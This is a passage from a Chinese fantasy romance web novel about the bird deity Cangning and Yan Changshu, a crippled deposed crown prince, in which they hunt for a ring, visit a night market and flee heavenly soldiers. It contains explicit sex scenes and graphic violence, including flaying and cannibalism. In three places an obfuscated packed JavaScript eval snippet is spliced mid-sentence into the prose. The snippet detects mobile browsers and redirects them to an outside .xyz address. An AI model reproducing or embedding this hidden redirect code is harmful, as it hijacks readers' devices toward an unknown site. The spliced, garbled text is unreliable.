苍宁拿出在他家门口养桃枝的做派:“你能拿我怎么样?生气?那你生气好了。反正你插翅也难逃。就算你叫破嗓子,陛下恐怕也只会让我多多让你生气呢。” 晏长书:“……” 苍宁最后笑道:“你就当我喜欢你的脸,喜欢极了。” 晏长书:“……” 他翻过一页,不搭理她。 - 苍宁每日都来寻晏长书,人间大约过了一个月,高珣从不曾发觉。 开始时,会顺很多御膳房的菜色,后来,给他带些吃不到的水果,带些新衣裳。 她坚持给他带假药,好让他无法察觉她并非人类。 脸上的伤好了之后,晏长书稍稍放下心,也会多回几句话。 苍宁觉得在养小蛇这件事上,她非常有经验。 而且她确实很有信心,晏长书会喜欢她。 莫名其妙的信心。 她常在夜间来,喜欢立在房檐上停留一会儿。 她喜欢在月华最盛的时候梳理羽毛。 刚从卍象图中出来时,她曾不敢看自己的原身,怕自己是一只没有羽毛的秃鸟。毕竟,鸟类一族都爱美。 后来她大着胆子眯眼瞧,发现自己的羽毛和幻梦中一样华美,这才美滋滋安定了心。 一根一根梳理着,尾羽长而华美,需要用最多的时间。 她忽然想起当初晏长书说没看过她的羽毛,难道——晏长书之前看过丑秃秃的她吗?这真是太令鸟羞耻了。 想到这儿,苍宁心不在焉地扒拉晏长书的腰带,晏长书撇开她的手,她转身,坐在窗台上。 “出去。” “你自己进不了浴桶。” “不用你管。” “我偏要管。” 苍宁说得平淡,“你脸上的伤喝了药不是好了么,你还没谢我呢。” 热气蒸腾没有化去他眉目的寒冰,苍宁跳下来,再次去摸他的腰带。 “晏长书,这有什么不好意思的。” 她不在意他现在有缺陷,就像当初晏长书看过她光秃秃的鸟样。 窗台是冷的,他的手也是冰冷的。 苍宁的手是暖的,和水一样滚烫。 晏长书死死拧住她,不让她往下动,苍白的脸上两颗黑色眼珠无光无彩,咬紧的嘴唇泛着不健康的红,弥漫着一股血腥气。 他甩开她的手,手心里全是冷汗,没扶住扶手,从轮椅上摔下去。 浴桶晃荡了一下。 晏长书一句没吃痛,连呼吸声都静静的。 苍宁耳边只有水声。 “出去。”他哑声伏在粗糙的地面上。 苍宁往后退了一步。 她并不是要晏长书摇尾乞怜。她想解释,却不知道他们之间的事情要从何解释。 “晏长书……” “别看我!” 他蜷起手,指尖磨出血,“出去。” 她屏住呼吸,转身出门。 她自己在乎的。 苍宁后知后觉地想。 她自己在乎自己没有漂亮的羽毛,晏长书应当,也像她这样在乎。 - 她之所以能够跳脱出凡人的一世,是因为她知道,她和晏长书的生命,本都是一条漫长到看不到边际的长河。 可是身为凡人,如何能得知? 晏长书这一世,出生贵为太子,年少名扬千里,能文会武,本是天潢贵胄。 可遭兄弟暗算,褫夺封号,断腿骨,沦为废人,富贵不过十八年。 从顶端掉落的感觉,并不好受。 苍宁明白这种滋味。 他身旁本有一名太子陪读,也是贵门名流,被高珣生生凌迟。 高珣要晏长书在一旁看着。 晏长书看了,数了。一百零八片。 “父皇给你定下的那个女人,出家了。”高珣贴着他耳边道,“就算她跑了,属于你的,也终将会属于我。” 晏长书听说,高珣在尼姑庵宠幸了她。 高珣特地托人送来一个匣子,里面装着的,是那女郎的处子之血,和项上人头。 在晏长书的记忆里,他从未和这位女郎见过。皇家联姻,皇家棋子。她只不过是高珣泄愤的道具。 晏长书拿出自己拇指上的卍字戒,恳求高珣将她的人头埋入族陵。 这枚卍字戒,是太子的象征。高珣没有拿走,是想要他体会落到悬崖上的处境,让他成为众人耻笑的对象。 高珣欣赏他苍白的脸色,慢慢将戒指戴到自己手上,玩味道:“你的女人并不喜欢你。她另有所爱。” 晏长书脊背挺直,如雕塑般。 “你也没什么了不起,晏长书。我曾经还以为父皇什么都给你,是因为你厉害。其实,是因为你是太子。”高珣转念想道,“我挺开心的,你有没有什么愿望,我帮你实现一个。” 晏长书抿唇。 “别这么紧张,这回我不说谎。” 几次三番,晏长书说,他想要高珣在有生之年善待他的母亲,让她安享晚年。 “哦,母后啊。”高珣松了口气,“皇兄早说嘛。小事,我会替她,好好上柱香的。” 那天,晏长书才知晓,母亲早已离世。 他失去了一切,包括和人交谈的资格。 清净寺中,对他施加善意的宫人们,隔天都会以各种方式死在他的面前,甚至被吊死在佛像前。 高珣收起所有尖利物品,呼之即来挥之即去,对待他无异于对待一条狗。 有人持之以恒地对他示好,他说了两句话,那人便在高珣前添油加醋,说他有造反之意。 他分不清来者的真心,似乎也无需分清真心。 有老臣闯入清净寺,痛哭流涕,望他东山再起,隔夜,便成为了晏长书的一道肉菜。 高珣要把他禁锢起来,他自己也给自己树立了高墙: 孤立在清净寺的佛堂。 高珣哈哈大笑,笑得直不起腰。 “晏长书,你可以自杀,一头撞死在佛祖前面,佛祖会可怜你的!” 如此种种,晏长书不再与人交谈。 原本是青灯古佛,就此一生罢了。 - 深夜,房中落了一地水。 苍宁轻车熟路地开门,越过水里的月亮,站在床榻边。 空气中有一股馨香,是苍宁拿来的胰子。她闻得出来。 晏长书的头发有点湿,仅着亵衣蜷在床上,看上去很冷。 她钻进被窝。 唔,其实不冷。被窝里很暖和。 女郎的身体柔软而温暖,贴在他身侧,像一团火。 晏长书浑身僵硬,推开她:“你做什么——” 苍宁的力气怎是凡人可以比拟,她毫不费力地压住他的手,将下巴搁在他锁骨下侧,眨眼看他。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030026|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬起唇角,眉眼如画。 晏长书和她相处一个月来,她常常这么看着他。 她似乎没有透过他在看另一个人,多奇怪。 她感慨道:“晏长书,你好瘦啊。” 晏长书挣扎的手一僵,喉结不停滚动着。 她轻声道:“虽然我不怎么吃饭,但要吃的话,我喜欢吃水果,小麦和肉,以后我们多吃一点吧。好失败,我还没把你养胖。是不是我从御膳房顺来的东西没油水啊。哦,难道是你以为我下毒了,背着我偷偷浪费粮食?” 他静静伏在枕侧,无声息,苍宁只能看见他的下巴。 “你看看我嘛。干嘛又生气。你好难哄。” 苍宁本来就没耐心,之前一个不顺心就踹人,还扇过晏长书好几巴掌,哪里这样哄过人。 这一个月来,算是便宜晏长书了,可谁叫她要报个恩呢。 一开始他还不搭理她,现在偶尔也能讲两句话了。 当然,报恩报到床上去,是另一码事。 借着月光,她看见了晏长书的嘴唇,粉润润的,有种诱人的光泽。 她抿了抿唇。 “晏长书,我能不能亲亲你。” 他的心忽然猛烈跳动起来,想要撇开她:“不行,苍宁,你离我远一点。” 他似乎打到了她的手臂,她吃疼地叫起来,委屈道:“好疼啊,疼。” 他停下手,她双眸一亮,趁机往上,双臂搂住他的脖颈,发觉他在颤抖。 他闭着眼。 苍宁含住他的唇,轻轻蹭了蹭。 很温柔的吻。 “晏长书,你很冷吗?” 过了很久,他摇了摇头。 苍宁看见他的眼角湿润,才知他刚刚哭过。 她问:“你为什么哭起来都没有声音?我哭的话就很大声,受了委屈一定要让别人知道,绝不放过任何一个人。” 晏长书被她逗笑了。 她低头去吻他,轻柔如春风一样。 尔后,他哑声道:“睡醒了,就走吧。” “你还是希望我走吗?” “我告诉过你,我身边的人,都死了。” “你怕我死掉?” 苍宁觉得好奇怪。 明明是另一番处境了,晏长书现在比她弱得多,他怎么还在担心她会死掉? 他为什么总是在担心她? 为她做这个做那个,却不给她一点机会? 好人怎么只能他来做? 是想占据道德高地吗? 她可不允许。 她笑了笑:“我很厉害的,晏长书。你知道,我会飞檐走壁,还有很多了不得的工夫。我当然不会死,也不会走。” “不要。” “为什么不要。” “不需要。”他固执道。 苍宁捧住他的脸,揉捏拉搓:“晏长书,你这人怎么这样啊!” 她气得牙痒痒,一口咬在他唇上,咬出了血。 他没有吃痛声。 随后,她延续了这个吻,把充满冷意的空气变得湿润润的,从唇瓣中就能尝到花的芳馨。 轻轻地吮,柔柔的蹭,她比自己想得更沉迷。 待她收起玩心,想要退出唇舌的游戏时,晏长书狠狠扣住她要抽离的唇瓣,滚烫的舌将她的思绪搅动得一塌糊涂。 苍宁这才反应过来,为什么这个吻和梦里有些不一样。 他的吻却比他自己更炽热,是他心绪的显化。 他总会用这种方式来挽留她。 所以当初,她才会说他是骗子,才会给他下言灵。 他侵略着她温热口腔的每一寸,把一腔热烈都孤注一掷。 比雨天更潮湿,比火焰更炽烈,把她的口腔塞得满而涨,不允许她退后一毫厘,甚至连呼吸都要夺去。 她能感觉到,他在渴求她。 气喘吁吁间,她仰起头,他们唇舌间勾出一段银丝。 苍宁注视着他的双眸,黑而深,像融化的芝麻糕。 尝起来也许是甜的。 但她注意到的不是这个。 是她腿边的灼热。 晏长书的声音哑得像呜咽的箫:“……总觉得很久之前就认识你了。” 苍宁哼声:“你的情话很老套,不爱听。” 他点头:“好。” 她不舒适地动了动,想起从前看过他两根的时候。 形状很…… “你那个了,晏长书。” 晏长书低低嗯了一声,表达疑惑。 苍宁唇还隐痛着,又勾起了好奇心:“我听说你不行来着。但是好像……还挺……正常的?” 她没有太多的羞耻心,歪着头伸手往下探。 晏长书一把抓住她的手,红着脸,将她从身上抱下来。 “不行。” “你真的不行啊?” 晏长书:“……” 苍宁噗嗤一声笑出来,抓住了他。 他低喘一声,额际青筋凸起。 勃动着。 一点一点,像手里握着心跳。 他会因为她的每一个动作,有特别的反应。 苍宁舔了舔嘴唇,眼睛亮晶晶的。 她在掌控他。 而他心甘情愿。 她很喜欢这种感觉。 事了之后,空中弥漫着石楠花的气味。 春夜里,独属于他们两个人的秘密。 晏长书浑身是汗。 苍宁笑起来,像太阳。 “怎么办,晏长书,我对你的反应……真的很上瘾。” 他勾了勾唇,并不言语。 “你是第一回吗?” 他含含糊糊应了一声。 过后,他扶住她细白的脖颈,留下吻。 一个深深的痕迹。 夜风中,他仿佛能再度分辨温暖和寒冷。 他变得更害怕冷了。 33. 第一世·四 苍宁把卍字戒从高珣身上扒了下来,变了个假的放在原处。 她把戒指拿在手里看,确认这枚戒指的确是印象中那一枚。 晏长书沐浴后,坐在桌前看书,脸庞上的伤疤已经痊愈,光滑无暇。 烛光昏黄,影影绰绰。 苍宁把他的书挪开,坐在桌上,面对他。 她让他伸手。 他的掌纹似乎和从前一样。她摸着他手心粗糙的线条,问道: “听说你算出了高珣的死期?” “……” “我曾听闻,高珣是神人转世,这种人恐怕很难短命吧。” 晏长书勾起一抹冷笑。 苍宁握住他的手指,将那枚戒指戴在他拇指上。 “所以,那些曾经都是属于你的?” 他看着那枚戒指,停了半晌,一动不动,很久之后,才缓缓张口:“你从哪里弄来的?” “高珣那儿。我有个朋友……哎,你知道的。” 她问,“你能算出自己的死期吗?是不是比高珣活得久,他才这么生气?” 他摇头。 “我不关心那些。” “哪有人连死都不关心的。就连神明也会关心死亡的。你这种人……确实……”苍宁想了想,“确实一般下一世还会去做人的。” 晏长书笑了笑。 苍宁问:“你不想做人?” “做人有什么好?” “确实没什么好。既脆弱,又短命,想的又很多,”她掰手指头,“但是人类的情感很有意思,有时候很胆小,有时候又很勇敢,有时候坏透了,有时候又很善良,这些情感会同时发生在同一个人身上,不好不坏,像天空都拥有太阳和月亮。” 苍宁兴致很高,再道:“有些神是兽类,你知道吗?他们并不具备人的情感,要通过学习体验才能掌握情感。如果聪明的话,很快就会知道,不聪明的话,就会轮回很多世。所以人类是很难揣测和模仿的动物,我敢说,要是能做一个普世意义上的好人,就能当好一个神明。” “这样说来,神和兽便行走在人世。” “嗯哼,大家都会觉得人间比较有意思吧。” “下一世你想成为人吗?” “倒不会这么想。” 晏长书淡笑道:“你的语气,像是没把自己当成世人。” “有吗?” 她立马否认。 晏长书的手指抚过她的掌心,苍宁从桌上跳下来道:“你在房里待得太久了,都忘记外面什么样子了吧。我也觉得被关着会对生活逐渐丧失兴趣。天气热起来了,要不要出门逛逛?” “你之前也被关着?” “嗯。我之前,住在一个黑乎乎的地方,我不想住在那里,所以逃出来了,但是又被人关在塔里。好不容易出来,就遇见你了。” “可我并不是遇见你的。” “啊?” “于我而言,你是从天而降的。”晏长书淡道,“有时我会怀疑是我的幻觉。” “你担心这个啊。”苍宁道,“说明你很喜欢我嘛,晏长书。” 她看上去有点小得意,他嘴唇翕动,闭上嘴。 他料想到她不是普通女子。 大胆,无视一般世俗的规则,想做就做。 他像她的宠物。 她晚上来放食的时候,顺毛摸一摸,时不时使些小性子,看他对她的反应。 她似乎格外喜欢听他流连床榻克制的声音。 两段身躯紧紧缠绕,像清净寺里一段局部的,湿润而粘稠的雨。 他从小受良好而严苛的教诲,从来不知道纵情声色这样令人沉醉。 她很熟练,应当不是初次。 可没关系。 他觉得没什么不好。 他是个废人,没资格觉得不好。 至于她说的那些神啊鬼啊仙啊妖啊,他自然可以当成志怪故事。 当苍宁从对佛理感兴趣,到对算命有研究,再托词说她是了不起的江湖女侠客,可以使用厉害的轻功的时候,他便装作毫无察觉。 能看见她的喜怒哀乐,是件很不错的事。 他默默把卍字戒收在怀里,戴上她递过来的面具。 是傩面。张牙舞爪的穷奇,被苍宁评价为很讨厌的兽类。 “有些兽贪财,有些兽心善,有些兽爱美,这只兽纯纯坏兽。”苍宁说出最恶劣的评价,“翅膀上的毛最丑。” “如果你是兽,会是什么兽?”他状似漫不经心地问,叩住傩面的指尖发白。 “我当然是最漂亮的鸟。” “那我呢?” “你啊……” “嗯,我呢?” 苍宁犹疑起来:“你不是。” “哦。” 晏长书把傩面戴上,不再继续这个话题。 数年幽居生活,晏长书几乎对外界一无所知。 时间在他身上尘封已久,本没有太大的差别。 夜坊中人声鼎沸,张灯结彩,傩戏正在上演。 灯火阑珊处,亲朋好友,皆结伴同行。 苍宁买了香喷喷的饼饵,要他尝尝,又去买米糖,软糯黏口,格外香甜。 一路玩一路看,苍宁忽然在傩戏众兽中看见一只格格不入的貔貅,大摇大摆,甩动着如云的尾鬃。 她把手里吃食全都递给晏长书,要他照看,脱手离去。 不待貔貅高高兴兴甩尾巴,她把貔貅本貅一把抓到暗巷里,狠狠地敲他的脑袋。 “不可以打貔貅的头!会失去钱财!” “这么久了,你还知道回来?莫不是在神界吃上了金子宴?” “哪里的事,我去王宫找过你了,但是那里怨气太重了,本大爷闻了想吐。这里稍微自在点,还能跳舞。”他摸摸自己的肚子,圆而大的眼睛指着嘴巴,“苍宁,我这嘴出毛病了,不吃点说不出话啊,哎哟哎哟,好疼,要吃金子……” 苍宁没好气地丢出一块金子,貔大虎高高兴兴地啃干净,捧着肚子道:“好吃好吃,还是熟悉的味道最好。” 苍宁踹他一脚:“快点说!” 据貔大虎所说,司命星君醒来后,已经如实招待,被送进了神机庭里。天帝大怒,在神机庭召会,势必要捉拿她。 “恭喜你,真的成通缉犯了。天帝会派人来捉你的。”貔大虎哼哧哼哧,“你有没有想过,自己这么重要?” “什么重要不重要的,好孩子忽然变坏孩子了呗,天帝跟我爹似的,非得管着我。有毛病。” “他没毛。毛没有病。” “……” “本大爷没爹。” “谁管你有没有爹,你炫耀什么?”苍宁上下扫视一圈,“你洗澡了?” “没有啊。本大爷很干净的。” “没洗就洗一洗,感觉你有毛病。” 貔大虎撇嘴。 正待二人吵得不可开交,狭小的巷口推进一个人影。 苍宁转头一看,晏长书捧着吃食,往他们这边看。 还不等苍宁反应过来,貔大虎先鸟一步,热情开朗道: “诶哟,这不是晏长书嘛,都长这么大啦,你小的时候,我还抱过你呢。” 苍宁再一转头,貔大虎已然化作人形,端的是翩翩美男,风流倜傥。貔大虎把脸掩在这扇后,低头凑近苍宁,悄声问道:“他怎么不说话?怎么坐轮椅了?你把人打残了?” 苍宁:“……不会说话就闭嘴,我是这种人吗? 貔大虎桃花眼顾盼深情,苍宁的眼神在他和晏长书之前移动,莫名觉得有点怪。 她看见貔大虎头发后夹着一枚草叶,正好顺手拿过来。貔大虎抿唇摇扇,大方道:“我送货的,给大人送货,换点金子吃——” 苍宁一肘捅在貔大虎腹部,貔大虎目眦尽裂,差点露出一颗貔貅头。 “老熟人。”苍宁眯眸道,“他路过,我们打个招呼。” 貔大虎陪笑:“对对,家母托我送点东西。” 苍宁不敢置信地回头看他。 貔大虎拱她一下:“家里都备好了,那位叮嘱我说,若你愿意,便回家。” 他俩互相使眼色,看上去熟络非常。 晏长书摘下傩面,神色浅淡,似笑非笑道:“不知苍宁是哪州人。” “她不住在舟上,住山上。她又不会游泳。” “哦。”晏长书的手指发白,“你与她……” 貔大虎笑眯眯地把手搁在苍宁肩膀上,说道:“老熟人嘛,你小时候我抱过,她小时候我也抱过,大家都是熟人。” 晏长书静看他半晌:“你抱错人了。” 貔大虎看看苍宁,又看看晏长书:“啊?” 晏长书眼中光寒冷,声色阴柔: “不知阁下,可否把苍宁,还给在下。” - 貔大虎拿着一大盒金子,欢天喜地地走了。 吃食凉了。 人群散了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030027|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从喧闹处回到清净寺,更觉寒凉。 晏长书偏爱沐浴,喜欢把自己打理得干干净净,苍宁作为青鸾鸟,也很喜欢这个步骤。 她迈入浴桶,雪白的亵衣几近透明得勾勒出匀称的线条,头发飘在水面上,紧紧贴在脖颈上。 晏长书苍白的手背浮着淡青的血管,拿起篦子,给她梳头发。 从头梳到尾,一次,两次。 次次梳到尾,最后,晏长书在她眯着眼睛想睡觉的时候,放下篦子,说道:“苍宁,你想回家吗?” “回什么家,我爹妈都死了。” “方才那位郎君……是位贵人,想来和他一起,能逍遥些。” 苍宁一听,笑出声来。 貔大虎变作人形,的确是人模人样,若说贵气,吞金貔貅,那也算的是贵气。 “你觉得我和他能一块儿?他都多老了。”根据貔大虎的反应来看,他没准儿和她爹妈一般大。 “多大算老。” “你多大?” “二十九。” “你还小呢,正是闯的年纪。” 晏长书:“……以普通人来看,这个岁数不算小了。苍宁,你大约不明白,人会变老的。” “我明白啊,我当然知道。” 晏长书含笑,撩开她的头发:“有一天,我会变得虚弱、佝偻,皮肤变得皱皱巴巴,散发出一种腐朽的味道。到那时,你不会喜欢的。其实现在也是,你不该把时间浪费在我的身上。” 苍宁努力想,想起了神明里的老爷爷,各个都很精神。尤其是保生大帝,每天乐呵呵的。 她道:“你要赶我走,是因为你不喜欢我?你不喜欢我,刚刚看见我和另一个男人站在一起,为什么要生气?” 他的眼神幽深。 “你真的这么想吗?如果不是的话,就别再说了。”苍宁生起气来,“晏长书,我忘记说,人有一个很坏的地方,就是喜欢说谎。而且有、些、人,明明无法打诳语,却高明得不得了,说出来的字字是谎言,却让人捉不到把柄,好像根本没说谎,都打上真心话的符号,让人摸不着头脑,实在是可恶至极。” 她见晏长书没反应,扭头问道:“你怎么不说话?” 他垂眸,揽住她的腰身,喃喃道:“苍宁,你有没有听说过南柯一梦?” 苍宁摇头:“我们没有在做梦。” 要是还在做梦,她会很崩溃的。 她低头,见他神情幽幽,又不说话,失去了几分耐心,作势要往浴桶外走:“好,你不说话我便走了。不理你。” 苍宁长腿一伸,内侧的水淅淅沥沥,从晏长书如弓眉骨缓缓流到脸颊,落到唇瓣边。 隐入缝隙。 她一段腰身如羊脂玉般柔腻,他情难自禁,撩开她腰侧的长发,眼眸中氤氲着幽深的欲望。 晏长书再度拉住她的腰身,一寸寸拉近,死死扣在怀中,抬手控住她的后颈,半吻半流连,一路吻到她的心口处。 她衣襟半落,粉面玉肤,被水暖得额际渗出一层薄汗,不似俗世脂粉,而恍若仙人一般。 他将她的双手反扣在腰后,让她扬起上半身,脸庞贴在她的腰侧。 他哑声道: “你说对了,我看你和他站在一起,神仙眷侣,那么般配。我气极了,嫉妒极了。” 苍宁微微地喘。 “我根本没有这么大度。”他自嘲地笑,“什么劝你离开,什么不要浪费时间,都是我受教后要有的君子做法。苍宁,我有个很卑劣的想法。你想知道是什么吗?” 苍宁眸光一闪 他靠近她: “对不起。” “为什么…道歉?” “对不起。” 话音刚落,他用力掰开她,鼻尖顶在盈盈花央。 海棠滴着露,每一片皱褶都被汹涌展开。 唇舌是滚烫的,水也是滚烫的……苍宁在浮沉之间,想起了幻梦中那杯茶里的眼神。 克制下充满激情的侵略性。 神思都舔舐成碎片。 “晏长书……”她乌云发尾扫在浴桶侧,海棠醉日,声线颤抖。 一点一点。 一寸一寸。 他咬着她的脖颈,惯留下吻痕的那一块,将她往下按。 他的眼眸幽黑,尝到了卑劣做法里无可抑制的快悦。 她吃了下去。 完全的,不留一丝痕迹。 他想要将她留在这里。 34. 第一世·五 苍宁终于明白什么叫颠鸾倒凤。 把她倒过来,横过来,顺过来,来来回回尝上不知多少遍,又深又快。鸟兽贪欢,这许是最原始的本能。一夜,两夜……意识如决堤之江,苍宁在满到极致中看见他意乱神迷的沉醉,有种特别的快意。 但纵使贪欢,也扛不住快意累积到微妙的阈值,一瞬间痛苦起来。 晏长书要的很多,很多很多,苍宁蹙眉推开他,脱离不过片刻,霎时间又满涨。她终于知道他说的“吃掉”是什么意思。从里到外,从身体到脑袋,完完全全属于他。 事后,她迷迷糊糊地想,蛇是不是很擅长这个?看起来慢慢的,到了某个点便瞬间缠上去,慢慢吞进腹中? 虽然没见过晏长书全盛时的原身,但不知道用原身打架的话,她能不能打过晏长书?用鸟喙的话…… 晏长书抚过她的腹部,她轻轻瑟缩了一下,睁开眼。 “会不会……” “会不会什么?” 他低哑道:“我们这些天如此……会不会有孩子。” 苍宁登时清醒:“当然不会!” 他和煦的笑容像二月天,阴了阴:“为什么?” 苍宁也愣了,什么为什么?虽然和他做得很爽,但是只想做,不想生啊。 晏长书敛眸,转而抚过她的手腕。那里有两个小小的点,像是两粒小小的朱砂,干涸的血滴。 他的嗓音低柔:“苍宁,我很早之前就想问了。你这般熟悉,在我之前,可曾爱过旁人?” “那个人也不是旁人……”苍宁没想好怎么解释,直白说道,“可能曾经有过特别的关系?下次遇见他了确定一下。” 他含着笑:“他是什么样的人?” “嗯……”苍宁皱眉。在失忆的正主面前聊正主,真是有种微妙的第三人感。她说:“是个和你很像的人。” 一瞬的静默。 他点点头,仍旧含着那抹笑,哄她:“他离开你,就是不爱你,苍宁。” 苍宁愣愣地看着他,在他脸上看见了高珣杀人的那种神采,岌岌可危的崩溃。 他说:“我爱你的,你留下来,好吗?反正我也活不长的,不需要很多时间。” 她不解:“谁说你活不长啊?”司命星君那个死家伙不是进神机庭了吗?还能舞文弄墨啊? 他笑出了声音,眼瞳却冷得渗人。 “苍宁,你可以去见他一会儿,但是你还会回来的,对不对?” 这个问题苍宁也很难回答。 因为他们就是一个人。 苍宁难得变得含含糊糊,把问题糊弄了过去。可这件事在晏长书那里始终没有过去。 在她说话时,他会吻掉她的字句,拖她忽然坠入欲海。 她见晏长书墨发日益黑润,目光有神,双腿似乎也有了力量,便寻了柄短剑,料想能抵抗高珣。他却并不喜悦。 “你要出门?” “想着要不要回家一趟。”三危山是她的家。从貔大虎那里收回的草叶,有西王母的口谕,她从小看到大,不能作假。 他道:“你会回来吗?” “嗯……会啊。” 他笑了笑,眼底是冰冷的。 当天夜里,晏长书要的格外疯狂,苍宁吃不住,哼哼唧唧说他不温柔了,变了。他换了个姿势,眼底却无沉醉,苍宁埋在被子里和他赌气。 他淡道:“我这样,不像他了,是么?” 什么? 他含嘲带讽:“想来他是如玉君子,可以做到你在此处,却不闻不问。” “不是这样的。” “哦。” 他恍惚间,揽住她,将她揽得喘不过气。 他的确就像是她的宠物,一个闲暇时来玩玩的替代品,讨开心的东西。 “你别这样,好像那个讨厌的高珣。”她说,“我不喜欢你现在的表情。” 平静的外壳一敲就碎,积压依旧的狂热和情绪就要汹涌而出。 他愣了愣,变得很温柔,很温柔,随后,在她的手腕处狠狠咬出一道血印。 “你——” 苍宁痛得给了他一巴掌。 死蛇,这鬼毛病投胎一百次都不会变吧! 在卍象图里是为了将他自己的力量渡给她,才时不时咬她,现在又能为了什么? 他脸颊一片火辣辣的红,笑意吟吟地回过头来,将她手腕上的鲜血舔舐干净,把她的手放在心口处。 他在笑,眼中闪烁着不可言说的痴狂,诡柔道:“如果我们的孩子出生了,住在这里的确不像话。如果我还是太子,是一国主君,你会不会爱我一些?” 苍宁皱眉:“你觉得我在乎这些吗?” 他眼瞳漆黑,唇色愈白:“苍宁,你的家在哪里,我能不能去?” 苍宁摇头:“去不了。” 肉体凡胎,去了就死。晏长书的修行被她中断了,菩萨会不会找她算账?就算不找,苍宁自己也会过意不去的。 “没关系。没关系的,没关系。”他轻轻安抚着,抱住她,“苍宁,我们在这里会有一个新家。属于我们的家。” 也许是因为人类太过短寿,苍宁发觉,大多数人类对生孩子和创建家庭都有着非凡的热爱。凡世的小鸟其实也是如此。 但是……人类会显得特别没有安全感,特别焦虑。或者说,晏长书从非常平静地状态,进入了特别没有安全感,特别焦虑的状态。 而她自始至终,只想做自己认为正确的事。 一日,苍宁回绮美人宫中,绮怜被高珣鞭笞五十,伤痕累累。高珣发现了自己频繁丢失物件,绮怜哭着承认自己拿了一大批金银财宝出去倒卖。 绮怜需要钱,很多很多钱。可她也不知晓,那些个首饰都标着宫里的印记,一个举报便让外头和宫里通了气。 苍宁问道:“你要这么多钱做什么?” “穷怕了。” 苍宁叹气,绮怜止不住流下眼泪。 据绮怜自己说,她家中父亲是饿死的,好赌的弟弟则冻死在冬月,旁人说,她订了婚的那个温柔秀才,家里有些银子,来娶她的路上,被强盗抢了所有彩礼,淹死了。 她还有个年迈病弱的母亲,不认字。为了赚钱,她们长途跋涉搬到王城脚下。可追赌债的人追到了王城,还说若不还钱,便将她俩杀了了事。 绮怜当时在舞坊,没日没夜地跳,终于能按时还上银钱。 日子渐渐好了起来。 可是追债人却心生,要她委身于他。 绮怜无依无靠,心一狠,咬着牙用尽手段,拿到了宫中舞娘的席位。民女能强抢,皇帝的女人,他如何抢? 可谁知道,那个追债人转头便哄骗她不识字的母亲欠下了天价赌债! “我死了,我没关系,可是我娘怎么办?”绮怜哭道,“我没办法,只能这样……” 苍宁又叹了一口气。 “你需要多少?” 绮怜伸出几个手指头。 不多,可却能要两个人的命。 苍宁道:“我会给你。但仅此而已。”后面,就看自己的造化。 “谢谢神仙!谢谢神仙!” “你身上的伤……” “我没事!”绮怜道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030028|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来福气是攒下来遇见神仙您了。” 几块金子出库,不过刹那之间。 日子似乎的确好了起来,可苍宁也发觉王城的天,愈来愈暗了。 不祥之兆。 苍宁眯眸。 若说神明有个极容易暴露的点,便是与生自来的特质。因为高人一等,通常都会挂在嘴边。 例如,貔大虎作为貔貅中的一只,便很喜欢把“我可是瑞兽”挂在嘴边,顺便吃两块金子。 雷公电母走到哪儿,人间都有一片雷电。 天兵天将总有自己的一套,眼见危机四伏,苍宁倒觉得有趣。 原来她现在是个这么大的威胁,天帝又要布下天罗地网。 是日,晏长书正在佛殿前抄经,他磨墨用的墨块儿总断,便放下手中的东西,自己将轮椅推到门槛前。 天阴蒙蒙的,下着小雨。雷电接踵而至,把屋檐劈开一道裂缝。 苍宁站起来,将他推到房间里。 也许是苍宁没有习惯掩饰自己,晏长书一眼就瞧出她面色凝重。 “去哪?” “有点事。” 苍宁将窗户关好,俯下身,亲了亲他的脸:“晏长书,外面在下雨,你没有伞,不许乱跑。” 他指尖一动,点点头。 苍宁打开门,回头莞尔:“不过,也不能让别人随便欺负你。” 他笑道:“好。” “苍宁——”他确定道,“你会回来的,是不是?” “嗯,对你,我不说假话。” “好,苍宁……我等你回来。” 苍宁迎着黄豆大的雨点出门,天边已然积攒起阴云雷霆。 一道黄色闪电直直刺向此处,苍宁翻手一跳,跃至檐上,才发觉那道闪电是缚神索。 当务之急,是离开这片地方。 她隐身而去,化青鸾飞向天空,身后闪光如影随影,她见云层下一片大湖,化作鱼儿钻入水中,混入鱼群,闪光片刻不见,三昧真火熊熊燃烧,鱼群死伤一片,她从火中逃出,作渺小麻雀往三危山去。 说时迟,那时快,三枚金圈笼罩日光,想要将她牢牢圈住,她将身一扭,堪堪从圈中逃脱,一柄长戟从天落下,划破她的衣袖,她抬头一看,无数雨丝都变作方天画戟,密不透风地无情往下刺! 苍宁运力外送,好不容易挡住泼天长戟,方才的三枚金圈再度绕来。她踏金圈借力前行,不留神已然越过千重山。 而一到绳索挡在她身前,她急急暂停,回身翻越,还是被缚神索圈住脚踝,重重落到山间。 